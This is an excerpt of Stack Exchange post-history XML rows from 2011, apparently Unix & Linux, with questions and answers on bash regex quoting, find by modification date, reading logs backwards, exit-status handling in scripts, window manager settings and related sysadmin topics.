  <row Id="20695" PostHistoryTypeId="5" PostId="8746" RevisionGUID="0b3e1b2f-0a1e-461b-b735-a51fa2628624" CreationDate="2011-03-07T12:57:59.880" UserId="688" Comment="screenshots are nice; added 1 characters in body" Text="Press Alt + F2 and enter `gconf-editor`. Navigate the tree menu to desktop &gt; gnome &gt; session &gt; required-components. Now, replace the `windowmanager` key with the window manager of your choice. Just replace gnome-wm (or metacity) with mutter.&#xD;&#xA;&#xD;&#xA;Another possible solution:&#xD;&#xA;&#xD;&#xA;You could add `mutter --replace` to **System** &gt; **Preferences** &gt; **Startup Applications** which opens **`gnome-session-properties`** program:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/vOcXh.png" />
  <row Id="20696" PostHistoryTypeId="2" PostId="8748" RevisionGUID="f2578a4a-9f04-4c26-b422-9ae02555131d" CreationDate="2011-03-07T13:29:29.303" UserId="2180" Text="Sounds correct so far, we may need more data (your actual config files).&#xD;&#xA;&#xD;&#xA;Just to be sure, you should have this in `30-local0.conf`:&#xD;&#xA;&#xD;&#xA;    local0.* /var/log/local0.log&#xD;&#xA;           &amp; ~&#xD;&#xA;" />
  <row Id="20697" PostHistoryTypeId="25" PostId="8745" RevisionGUID="25aa7ef7-2912-4861-b604-6017221c04e9" CreationDate="2011-03-07T14:23:39.480" Comment="http://twitter.com/#!/StackUnix/status/44765156315643904" />
  <row Id="20698" PostHistoryTypeId="2" PostId="8749" RevisionGUID="9be9405e-5ef0-45e7-8cf6-0755ac9ff3aa" CreationDate="2011-03-07T14:27:33.357" UserId="872" Text="Upgraded to Bash4 and found that it is not matching regexes:&#xD;&#xA;&#xD;&#xA;    $ echo $BASH_VERSION&#xD;&#xA;    4.1.2(1)-release&#xD;&#xA;    &#xD;&#xA;    $ [[ &quot;20110228&quot; =~ &quot;^[0-9]{8}$&quot; ]] &amp;&amp; echo matches&#xD;&#xA;&#xD;&#xA;But Bash 3.0 is:&#xD;&#xA;&#xD;&#xA;    $ echo $BASH_VERSION&#xD;&#xA;    3.00.16(1)-release&#xD;&#xA;    &#xD;&#xA;    $ [[ &quot;20110228&quot; =~ &quot;^[0-9]{8}$&quot; ]] &amp;&amp; echo matches&#xD;&#xA;    matches&#xD;&#xA;&#xD;&#xA;Why might this be? Have I not installed it correctly?&#xD;&#xA;" />
  <row Id="20699" PostHistoryTypeId="1" PostId="8749" RevisionGUID="9be9405e-5ef0-45e7-8cf6-0755ac9ff3aa" CreationDate="2011-03-07T14:27:33.357" UserId="872" Text="Bash regex matching not working in 4.1" />
  <row Id="20700" PostHistoryTypeId="3" PostId="8749" RevisionGUID="9be9405e-5ef0-45e7-8cf6-0755ac9ff3aa" CreationDate="2011-03-07T14:27:33.357" UserId="872" Text="ébashàéregexà" />
  <row Id="20701" PostHistoryTypeId="2" PostId="8750" RevisionGUID="8b386bcb-729a-47d0-a2df-61e63741570e" CreationDate="2011-03-07T14:40:26.930" UserId="1245" Text="Is it possible to find all php files within a certain directory that have been modified on a certain date&#xD;&#xA;&#xD;&#xA;I'm using &#xD;&#xA;&#xD;&#xA;    find /var/www/html/dir/ -mtime -28 | grep '\.php' &#xD;&#xA;to get files modified within the last 28 days, but I only need files that have been modified on the following date 2011-02-08" />
  <row Id="20702" PostHistoryTypeId="1" PostId="8750" RevisionGUID="8b386bcb-729a-47d0-a2df-61e63741570e" CreationDate="2011-03-07T14:40:26.930" UserId="1245" Text="Getting all files that have been modified on a specific date" />
  <row Id="20703" PostHistoryTypeId="3" PostId="8750" RevisionGUID="8b386bcb-729a-47d0-a2df-61e63741570e" CreationDate="2011-03-07T14:40:26.930" UserId="1245" Text="écommandölineàéfindà" />
  <row Id="20704" PostHistoryTypeId="2" PostId="8751" RevisionGUID="9265de1e-e4ae-4ae4-9979-2bc031286204" CreationDate="2011-03-07T14:43:37.567" UserId="5361" Text="Check this [answer][1] on SO. Since you are using 3.00 version of bash 3, it might regard your problem. Shortly, starting from 3.2 version, quoting the string argument to the `[[` command's `=~` operator forces string matching, so the correct pattern for bash 4 should be:&#xD;&#xA;&#xD;&#xA;    $ [[ &quot;20110228&quot; =~ ^[0-9]{8}$ ]] &amp;&amp; echo matches&#xD;&#xA;    matches&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/218156/bash-regex-with-quotes/218217#218217" />
  <row Id="20705" PostHistoryTypeId="2" PostId="8752" RevisionGUID="5ce20ad6-8b29-4078-a6fd-7f27cabffa75" CreationDate="2011-03-07T14:54:24.490" UserId="872" Text="On recent versions of `find` (e.g. GNU 4.4.0) you can use the `-newermt` option. For example, to find all files that have been modified on the 2011-02-08&#xD;&#xA;&#xD;&#xA;    $ find /var/www/html/dir/ -type f -name &quot;*.php&quot; -newermt 2011-02-08 ! -newermt 2011-02-09&#xD;&#xA;&#xD;&#xA;Also note that you don't need to pipe into grep to find php files because find can do that for you in the `-name` option.&#xD;&#xA;&#xD;&#xA;Take a look at this SO answer for more suggestions: [How to use 'find' to search for files created on a specific date?][1]&#xD;&#xA;&#xD;&#xA;[1]: http://stackoverflow.com/questions/158044/how-to-use-find-to-search-for-files-created-on-a-specific-date" />
  <row Id="20707" PostHistoryTypeId="5" PostId="8745" RevisionGUID="6f270b6b-e2e7-426a-9e22-5039c2803986" CreationDate="2011-03-07T15:06:37.693" UserId="4319" Comment="Added a reference so that I or anyone else reading the question can learn about the thing mentioned in the question." Text="I'm running Debian Squeeze and removed Metacity in favor of [Mutter](http://en.wikipedia.org/wiki/Mutter_(window_manager)). How do I avoid having to run `mutter --replace` each time I start Xorg (GNOME)?" />
  <row Id="20708" PostHistoryTypeId="6" PostId="8745" RevisionGUID="6f270b6b-e2e7-426a-9e22-5039c2803986" CreationDate="2011-03-07T15:06:37.693" UserId="4319" Comment="Added a reference so that I or anyone else reading the question can learn about the thing mentioned in the question." Text="édebianàégnomeàéwindowömanagerà" />
  <row Id="20709" PostHistoryTypeId="24" PostId="8745" RevisionGUID="6f270b6b-e2e7-426a-9e22-5039c2803986" CreationDate="2011-03-07T15:06:37.693" Comment="Proposed by 4319 approved by 29 edit id of 185" />
  <row Id="20710" PostHistoryTypeId="2" PostId="8753" RevisionGUID="6f0b882f-6e90-4d7e-9ea2-d3938cd7e4a1" CreationDate="2011-03-07T15:33:37.950" UserId="5454" Text="why not just install a light-weight distro directly onto a USB stick?  My solution to this problem is to have a normal install of [Crunchbang #!][1] on my USB key, which I can update, tweak, install extra tools, personal scripts etc. to, and so on.  Works a treat!  You could use any distro you fancy, of course.  Crunchbang is a good choice, but you'll probably have your own preferences.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://crunchbanglinux.org/" />
  <row Id="20711" PostHistoryTypeId="2" PostId="8754" RevisionGUID="25e41b33-8d6f-4f7b-a6fd-13374cde8363" CreationDate="2011-03-07T15:36:49.133" UserId="5325" Text="You have *almost* the right command already, for versions of `find` that won't let you use dates:&#xD;&#xA;&#xD;&#xA;    find /var/www/html/dir/ -mtime 27 | grep '\.php'&#xD;&#xA;&#xD;&#xA;In general, for `find` -*n* means *fewer than*, *n* means *equal*, +*n* means &quot;more than&quot;.  Traditional `find` has some exceptions, but GNU `find` and other newer versions such as on BSD/Mac OS X corrected those.  (Keep this in mind if you ever find yourself on a Solaris or other commercial Unix system.)" />
  <row Id="20712" PostHistoryTypeId="2" PostId="8755" RevisionGUID="654e3006-bd2d-4ff9-a221-83233be39fd6" CreationDate="2011-03-07T15:39:10.637" UserId="5454" Text="you can remove all the crap by editing `~/.local/share/applications/mimeinfo.cache` - in my install there's never anything but wine-created crap in there, so I just trash it altogether.&#xD;&#xA;&#xD;&#xA;How to stop wine doing it in the first place?  Dunno, sorry!" />
  <row Id="20713" PostHistoryTypeId="2" PostId="8756" RevisionGUID="fe90ef45-1eab-4bb2-80e2-e46703ea4eaa" CreationDate="2011-03-07T15:43:36.030" UserId="5454" Text="you should understand that when you 'copy' a file to the clipboard in nautilus, all you're actually doing is putting the absolute filepath on the clipboard (you can use a clipboard manager to verify this).  So you simply need to have your script put the filepath on the clipboard, and you will achieve the result you're looking for.  Try it!" />
  <row Id="20714" PostHistoryTypeId="2" PostId="8757" RevisionGUID="cdc824a6-f953-464b-abb2-35e81558d3f9" CreationDate="2011-03-07T15:48:00.143" UserId="5454" Text="the only way I can think of is with a script or macro.  I'd probably do it with python, since that's what I'm more familiar with, but there's some useful info on how to do it in OOBasic [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oooforum.org/forum/viewtopic.phtml?t=83030" />
  <row Id="20715" PostHistoryTypeId="2" PostId="8758" RevisionGUID="23148bfb-8454-4e8b-8b7b-cc8797acfc4a" CreationDate="2011-03-07T15:51:07.067" UserId="5454" Text="perhaps you should do a scan of your system with a tool like [tiger][1].  Tiger will pick up lots of things like this, and is a great way to get lots of advice and suggestions about how to secure your system.  Tiger can also be useful as a kind of Intrusion Detection System, too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nongnu.org/tiger/" />
  <row Id="20716" PostHistoryTypeId="5" PostId="8324" RevisionGUID="edcf4437-8f2a-4089-a138-daeb3fcf344c" CreationDate="2011-03-07T16:11:27.947" UserId="73" Comment="added 16 characters in body; edited title" Text="A few days ago I installed a new linux os. Today i realize `/root` has `o+r (755)` so EVERYONE is able to see my root sql password in `/root/.my.cnf`. I freaked out and simply changed `/root` to `750`.&#xD;&#xA;&#xD;&#xA;My `/var/www` folder is `2755` but all the folders in it are `2750` (so certain users can browse to the folder without being blind). What software, file permissions and other DEFAULT configuration should I change?&#xD;&#xA;" />
  <row Id="20717" PostHistoryTypeId="4" PostId="8324" RevisionGUID="edcf4437-8f2a-4089-a138-daeb3fcf344c" CreationDate="2011-03-07T16:11:27.947" UserId="73" Comment="added 16 characters in body; edited title" Text="Default configuration I need to change?" />
  <row Id="20719" PostHistoryTypeId="2" PostId="8759" RevisionGUID="bece6e07-a74d-4c35-9b4a-acfa2739028c" CreationDate="2011-03-07T16:35:13.377" UserId="2567" Text="Hi &#xD;&#xA;&#xD;&#xA;When I read this [answer about $?][1] another question comes to mind.&#xD;&#xA;&#xD;&#xA;Is there any best practice for how to use $? in bash?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Let's have a example:&#xD;&#xA;&#xD;&#xA;We have a linear script and I we would like to know that all the command was executed ok.&#xD;&#xA;Do you think it is ok to call a small function (let's call it &quot;did_it_work&quot;), &#xD;&#xA;to check the error code and break if it's not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash &#xD;&#xA;    &#xD;&#xA;    function did_it_work {&#xD;&#xA;        code=$1&#xD;&#xA;        if [ ! $code = 0 ]&#xD;&#xA;        then&#xD;&#xA;            echo &quot;Error failure: code $code &quot;&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    mkdir -p some/path&#xD;&#xA;    did_it_work $? &#xD;&#xA;    &#xD;&#xA;    cd some/path&#xD;&#xA;    did_it_work $? &#xD;&#xA;    &#xD;&#xA;    run_some_command&#xD;&#xA;    did_it_work $? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This approach of course means that I have to manually solve the problem if there is any and rerun the script.&#xD;&#xA;                                                                           &#xD;&#xA;Do you think this is a good idea or is there some other best practice to do this?&#xD;&#xA;&#xD;&#xA;/Thanks&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7704/what-is-the-meaning-of-in-a-shell-script/7714#7714&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20720" PostHistoryTypeId="1" PostId="8759" RevisionGUID="bece6e07-a74d-4c35-9b4a-acfa2739028c" CreationDate="2011-03-07T16:35:13.377" UserId="2567" Text="Best practice to use $? in bash?" />
  <row Id="20721" PostHistoryTypeId="3" PostId="8759" RevisionGUID="bece6e07-a74d-4c35-9b4a-acfa2739028c" CreationDate="2011-03-07T16:35:13.377" UserId="2567" Text="ébashàébestöpractiseà" />
  <row Id="20722" PostHistoryTypeId="2" PostId="8760" RevisionGUID="66006d29-1118-4a46-affc-ef3bd57c9968" CreationDate="2011-03-07T16:45:20.180" UserId="4709" Text="Is there a linux command or some way to look at logs from bottom up rather than from top towards bottom. I know about tail -n number of lines, is there something that I can actually scroll and go from bottom up ?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="20723" PostHistoryTypeId="1" PostId="8760" RevisionGUID="66006d29-1118-4a46-affc-ef3bd57c9968" CreationDate="2011-03-07T16:45:20.180" UserId="4709" Text="Looking at logs from bottom upwards" />
  <row Id="20724" PostHistoryTypeId="3" PostId="8760" RevisionGUID="66006d29-1118-4a46-affc-ef3bd57c9968" CreationDate="2011-03-07T16:45:20.180" UserId="4709" Text="élinuxàébashàéshellà" />
  <row Id="20725" PostHistoryTypeId="2" PostId="8761" RevisionGUID="5fc7b0e5-825d-4ba7-bf3f-832df4b9a251" CreationDate="2011-03-07T16:47:32.143" UserId="138" Text="If your commands don't have spaces in them, you can rewrite your code like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    function try {&#xD;&#xA;        $*&#xD;&#xA;        code=$?&#xD;&#xA;        if [ $code != 0 ]&#xD;&#xA;        then&#xD;&#xA;            echo $1 did not work: $code&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    try mkdir -p some/path&#xD;&#xA;    try cd some/path&#xD;&#xA;    try run_some_command&#xD;&#xA;&#xD;&#xA;If you don't actually need to log the error code, but just whether the command succeeded or not, you can shorten `try()` further like so:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    function try {&#xD;&#xA;        if ! $*&#xD;&#xA;        then&#xD;&#xA;            echo $1 did not work&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }" />
  <row Id="20726" PostHistoryTypeId="2" PostId="8762" RevisionGUID="78f03398-6bd4-463c-b5c8-135d9f7759c2" CreationDate="2011-03-07T16:58:41.677" UserId="5153" Text="I have bought a Lexmar Impact S305 scanner / printer. There was the small penguin and the word &quot;Linux&quot; among supported systems on the box. The problem is the official drivers are only for Debian based and RPM based distros. I haven't found unofficial drivers.&#xD;&#xA;&#xD;&#xA;There is graphic installer. It fails win my distro (Arch Linux), however I've installed it on virtual machine with Mint Debian and the printer works there. I've extracted some files (so, ppd, bin) from installer too. &#xD;&#xA;&#xD;&#xA;My question.&#xD;&#xA;&#xD;&#xA;**What do I need to set up my printer? It looks ppd alone is not enough.**" />
  <row Id="20727" PostHistoryTypeId="1" PostId="8762" RevisionGUID="78f03398-6bd4-463c-b5c8-135d9f7759c2" CreationDate="2011-03-07T16:58:41.677" UserId="5153" Text="Lexmark S305 scanner / printer" />
  <row Id="20728" PostHistoryTypeId="3" PostId="8762" RevisionGUID="78f03398-6bd4-463c-b5c8-135d9f7759c2" CreationDate="2011-03-07T16:58:41.677" UserId="5153" Text="édriversàéprintingàéscannerà" />
  <row Id="20729" PostHistoryTypeId="2" PostId="8763" RevisionGUID="9f483530-ef8b-4846-8581-b381dfda6d4c" CreationDate="2011-03-07T16:59:40.620" UserId="4667" Text="The [`tac`][1] command is like a reverse &quot;cat&quot;, if that's what you're after.&#xD;&#xA;&#xD;&#xA;If you just want to view a file by starting at the bottom, why don't you use an editor or &quot;less&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/tac" />
  <row Id="20730" PostHistoryTypeId="2" PostId="8764" RevisionGUID="c122681a-4d3e-457d-9d74-f4a27295b0fa" CreationDate="2011-03-07T17:03:35.747" UserId="5325" Text="Some systems have `tac`, which is a whimsically-named backward `cat`.  Without that, you can still do something like&#xD;&#xA;&#xD;&#xA;    awk '{print NR &quot;:&quot; $0}' $file | sort -t: -k 1nr,1 | sed 's/^[0-9][0-9]*://'&#xD;&#xA;" />
  <row Id="20731" PostHistoryTypeId="2" PostId="8765" RevisionGUID="e19d747c-3327-4af6-a7e6-ba2bb7f56ceb" CreationDate="2011-03-07T17:03:58.180" UserId="5475" Text="If the concern is that a compromised user account can be used to sniff the password used for sudo or su, then use a one-time passcode for sudo and su.  &#xD;&#xA;&#xD;&#xA;You can force the use of keys for remote users, but that might not pass muster for compliance purposes.  It might be more effective to setup an SSH gateway box that requires two-factor auth, then permit key use from there.  here's a doc on such a setup: http://www.howtoforge.com/secure_ssh_with_wikid_two_factor_authentication" />
  <row Id="20732" PostHistoryTypeId="25" PostId="8749" RevisionGUID="e398710c-82a3-45e5-aa04-7cb3c8b0b843" CreationDate="2011-03-07T17:23:39.510" Comment="http://twitter.com/#!/StackUnix/status/44810454211629056" />
  <row Id="20733" PostHistoryTypeId="2" PostId="8766" RevisionGUID="8c0970f6-206f-4f4b-8254-7149717ef54a" CreationDate="2011-03-07T18:01:33.263" UserId="2559" Text="I'm using rsync and the flags `-nPaAXz ~/` to check which files are going to be copied.&#xD;&#xA;&#xD;&#xA;This is far to verbose to make any sense of.&#xD;&#xA;&#xD;&#xA;How could I filter the output so I view the list of files/folders that are going to be copied to a certain depth, eg:&#xD;&#xA;&#xD;&#xA;***1 folder deep***&#xD;&#xA;&#xD;&#xA;    /home/afile&#xD;&#xA;    /home/afolder/&#xD;&#xA;    /home/anotherfolder/&#xD;&#xA;&#xD;&#xA;***2 folders deep***&#xD;&#xA;&#xD;&#xA;    /home/afile&#xD;&#xA;    /home/afolder/afile&#xD;&#xA;    /home/afolder/anotherfile&#xD;&#xA;    /home/afolder/afolder/&#xD;&#xA;    /home/anotherfolder/afile" />
  <row Id="20734" PostHistoryTypeId="1" PostId="8766" RevisionGUID="8c0970f6-206f-4f4b-8254-7149717ef54a" CreationDate="2011-03-07T18:01:33.263" UserId="2559" Text="Filtering paths to a specific depth" />
  <row Id="20735" PostHistoryTypeId="3" PostId="8766" RevisionGUID="8c0970f6-206f-4f4b-8254-7149717ef54a" CreationDate="2011-03-07T18:01:33.263" UserId="2559" Text="érsyncà" />
  <row Id="20736" PostHistoryTypeId="5" PostId="8760" RevisionGUID="6919673c-050c-409f-8250-1dfe87244e25" CreationDate="2011-03-07T18:03:31.407" UserId="1207" Comment="deleted 4 characters in body" Text="Is there a linux command or some way to look at logs from bottom up rather than from top towards bottom. I know about `tail -n &lt;number of lines&gt;`, but is there something that I can actually scroll and go from bottom up?&#xD;&#xA;" />
  <row Id="20737" PostHistoryTypeId="2" PostId="8767" RevisionGUID="5d4faede-75b8-4161-9b06-eb057ff9437f" CreationDate="2011-03-07T18:14:54.797" UserId="1207" Text="If you really want to `exit` on an error and are using Bash, then you should also consider `set -e`.  From `help set`:&#xD;&#xA;&#xD;&#xA;&gt; -e  Exit immediately if a command exits with a non-zero status.&#xD;&#xA;&#xD;&#xA;This of course doesn't give you the flexibility of a did_it_work() function, but it is an easy way to make sure your bash script stops on an error without adding lots of calls to your new function.&#xD;&#xA;" />
  <row Id="20738" PostHistoryTypeId="2" PostId="8768" RevisionGUID="9f87d955-d1b7-4058-9e90-c6bebfdd52c0" CreationDate="2011-03-07T18:32:20.193" UserId="2511" Text="I think `less +G` is what you're looking for — it'll load up the file at the end, and you can use the up arrow (or &lt;kbd&gt;k&lt;/kbd&gt;) to scroll back. (Within the viewer, &lt;kbd&gt;g&lt;/kbd&gt; will take you to the top of the file and  &lt;kbd&gt;G&lt;/kbd&gt; will take you back to the end. And &lt;kbd&gt;F&lt;/kbd&gt; will scroll to the end and try to keep reading, like `tail -f`." />
  <row Id="20739" PostHistoryTypeId="5" PostId="6618" RevisionGUID="313db988-0c17-4d93-972e-de83f8f760e2" CreationDate="2011-03-07T18:36:26.353" UserId="688" Comment="added 272 characters in body; edited tags" Text="If I run the following sequence of commands:&#xD;&#xA;&#xD;&#xA;    mkdir dir&#xD;&#xA;    ln -s dir link&#xD;&#xA;    rm -r link/&#xD;&#xA;&#xD;&#xA;I get this output:&#xD;&#xA;&#xD;&#xA;    rm: cannot remove `link': Not a directory&#xD;&#xA;&#xD;&#xA;I get the warning because I could simply have issued `rm -r link` or, better still, `rm link`. Regardless, that command did get the job done (i.e. removed the file named &quot;**link**&quot;).&#xD;&#xA;&#xD;&#xA;Things are a bit different when doing such a thing on a mounted volume, where &quot;**dir**&quot; is replaced with some like &quot;**/media/my_movies**&quot;. In such a case, the entire volume will be wiped, not just the symlink as in the previous example.&#xD;&#xA;&#xD;&#xA;Why is it like that? Is this some bug in `rm`, or is this expected? Why the inconsistency?&#xD;&#xA;&#xD;&#xA;**UPDATE**: Maybe I was dizzy when I was experiencing this because when I try now, &quot;**dir**&quot; is not getting deleted while its contents are, and in both cases (mounted and local directory). I'm using Linux **2.6.32**, and I think I was using **2.6.37** then.&#xD;&#xA;" />
  <row Id="20740" PostHistoryTypeId="6" PostId="6618" RevisionGUID="313db988-0c17-4d93-972e-de83f8f760e2" CreationDate="2011-03-07T18:36:26.353" UserId="688" Comment="added 272 characters in body; edited tags" Text="ésymlinkàérmàéslashà" />
  <row Id="20741" PostHistoryTypeId="2" PostId="8769" RevisionGUID="16cc34a8-27ac-4ee4-9cf8-4bf13354a869" CreationDate="2011-03-07T18:50:03.713" UserId="2511" Text="In this case, you just want to filter the output, and you don't actually care about reusing the values in any way. That's easy, then: just grep out lines that contain more slashes than you want. " />
  <row Id="20742" PostHistoryTypeId="2" PostId="8770" RevisionGUID="e7e7cf83-2ec6-4d41-bfef-c258dd6df650" CreationDate="2011-03-07T18:50:36.413" UserId="688" Text="Have a look inside the DEB file(s), and navigate into DEBIAN directory. There you'll find out what dpkg would do when installing the package, and try to replicate those steps manually. They are [shell scripts][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/doc/FAQ/ch-pkg_basics.en.html#s-maintscripts" />
  <row Id="20743" PostHistoryTypeId="2" PostId="8771" RevisionGUID="68cab60c-54d3-4095-b4cd-17f1b44c84f7" CreationDate="2011-03-07T19:11:48.580" UserId="2897" Text="What Linux distribution(s) contribute most to the Gnome project?&#xD;&#xA;&#xD;&#xA;If I plan to contribute to the Gnome project, an I advised to use **THAT** distribution as my primary development platform or does my choice remain a simple matter of taste?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="20744" PostHistoryTypeId="1" PostId="8771" RevisionGUID="68cab60c-54d3-4095-b4cd-17f1b44c84f7" CreationDate="2011-03-07T19:11:48.580" UserId="2897" Text="What Linux distribution(s) contribute most to the Gnome project?" />
  <row Id="20745" PostHistoryTypeId="3" PostId="8771" RevisionGUID="68cab60c-54d3-4095-b4cd-17f1b44c84f7" CreationDate="2011-03-07T19:11:48.580" UserId="2897" Text="élinuxàégnomeàédistrosàédevelopmentà" />
  <row Id="20746" PostHistoryTypeId="2" PostId="8772" RevisionGUID="527bc0d4-ee7f-458b-aa32-538cccf51808" CreationDate="2011-03-07T19:22:43.833" UserId="5325" Text="If you're contributing to Gnome, what distribution (or even OS, as long as it supports Gnome, FreeBSD and Solaris being examples) you use is irrelevant.  Distributions supporting Gnome generally do so either by having employees/official developers dedicating time to Gnome development or by funding (or more likely both, for commercial distributions)." />
  <row Id="20747" PostHistoryTypeId="5" PostId="8771" RevisionGUID="171a0640-00c2-40fb-8dc6-101cc998440d" CreationDate="2011-03-07T19:28:05.157" UserId="2897" Comment="added 186 characters in body; edited body" Text="What Linux distribution(s) contribute most to the Gnome project (all sorts of commits)?&#xD;&#xA;&#xD;&#xA;If I plan to contribute to the Gnome project, am I advised to use **THAT** distribution as my primary development platform or does my choice remain a simple matter of taste?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;I'm a Linux user and my question concerns only Linux distributions, hence any other platform that supports Gnome does not fit with my requirements." />
  <row Id="20748" PostHistoryTypeId="2" PostId="8773" RevisionGUID="6c9fefff-3ae6-4a7b-9ccd-7d662ed27b17" CreationDate="2011-03-07T19:40:30.263" UserId="2511" Text="By lines of code, the answer is unequivocally Red Hat, [as shown in last summer's Gnome code census][1]. That means Red Hat Enterprise Linux, or else Fedora.&#xD;&#xA;&#xD;&#xA;But, that metric isn't necessarily completely fair. Other companies like Canonical contribute in other ways that are also valuable. There was a huge controversy with much yelling and flaming, and good and bad points on both sides.&#xD;&#xA;&#xD;&#xA;As for your _own_ use, I don't think this is necessarily a compelling reason to choose a distribution, even if you're developing for Gnome. The desktop environment is portable enough that it shouldn't matter (and, in fact, cross-distro development differences can help make the project stronger).&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.gnome.org/bolsh/2010/07/28/gnome-census/" />
  <row Id="20749" PostHistoryTypeId="5" PostId="8768" RevisionGUID="7dc15e6d-3b19-475e-9e95-d34ce71478d3" CreationDate="2011-03-07T19:41:47.623" UserId="2511" Comment="deleted 1 characters in body" Text="I think `less +G` is what you're looking for — it'll load up the file at the end, and you can use the up arrow (or &lt;kbd&gt;k&lt;/kbd&gt;) to scroll back. Within the viewer, &lt;kbd&gt;g&lt;/kbd&gt; will take you to the top of the file and  &lt;kbd&gt;G&lt;/kbd&gt; will take you back to the end. And &lt;kbd&gt;F&lt;/kbd&gt; will scroll to the end and try to keep reading, like `tail -f`." />
  <row Id="20750" PostHistoryTypeId="5" PostId="8761" RevisionGUID="b13abad3-5259-4825-a1b4-27b02995e03f" CreationDate="2011-03-07T19:44:18.030" UserId="138" Comment="explained spaces in commands thing better" Text="If your commands don't have spaces in their arguments, you can rewrite your code like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    function try {&#xD;&#xA;        $*&#xD;&#xA;        code=$?&#xD;&#xA;        if [ $code != 0 ]&#xD;&#xA;        then&#xD;&#xA;            echo $1 did not work: $code&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    try mkdir -p some/path&#xD;&#xA;    try cd some/path&#xD;&#xA;    try run_some_command&#xD;&#xA;&#xD;&#xA;That won't work with something like this:&#xD;&#xA;&#xD;&#xA;    try ls &quot;/My Really Annoying Path Like On Some OSes I Could Mention&quot;&#xD;&#xA;&#xD;&#xA;It may be possible to make it work, but will probably hurt clarity more than it's helped to define `try()` this way in the first place.&#xD;&#xA;&#xD;&#xA;If you don't actually need to log the error code, but just whether the command succeeded or not, you can shorten `try()` further like so:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    function try {&#xD;&#xA;        if ! $*&#xD;&#xA;        then&#xD;&#xA;            echo $1 did not work&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }" />
  <row Id="20751" PostHistoryTypeId="2" PostId="8774" RevisionGUID="0e5fdaf4-e025-42d0-b67c-16ec13b47567" CreationDate="2011-03-07T19:54:43.633" UserId="3169" Text="One common way is &#xD;&#xA;&#xD;&#xA;    die() {&#xD;&#xA;        echo &quot;$*&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then using it&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed&quot;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed with status $?&quot;" />
  <row Id="20752" PostHistoryTypeId="5" PostId="8774" RevisionGUID="e0e58179-bf1a-4fef-80da-f0f2f32fa947" CreationDate="2011-03-07T20:03:01.597" UserId="3169" Comment="added 785 characters in body" Text="One common way is:&#xD;&#xA;&#xD;&#xA;    die() {&#xD;&#xA;        echo &quot;$*&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then you use it like this:&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed with status $?&quot;&#xD;&#xA;&#xD;&#xA;Or if you want it to include the exit status, you could change it to:&#xD;&#xA;&#xD;&#xA;    die() {&#xD;&#xA;        echo &quot;$* (status $?)&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and then using it is a bit easier:&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed&quot;&#xD;&#xA;&#xD;&#xA;Just in case you haven't seen `command1 || command2` before, it runs `command1`, and if `command1` fails, it runs `command2`.&#xD;&#xA;&#xD;&#xA;So you can read it like &quot;make the directory or die&quot;, or &quot;make the directory else die&quot;.&#xD;&#xA;&#xD;&#xA;One other tip is if you are going to use the name `some/path` multiple times, store it in a variable so you don't have to keep typing it, and can easily change it if you need to.&#xD;&#xA;&#xD;&#xA;So your full example &#xD;&#xA;&#xD;&#xA;    dir=some/path&#xD;&#xA;    mkdir -p &quot;$dir&quot; || die &quot;Cannot make $dir&quot;&#xD;&#xA;    cd &quot;$dir&quot; || die &quot;Cannot cd to $dir&quot;&#xD;&#xA;    run_some_command || die &quot;Cannot run some_command&quot;&#xD;&#xA;" />
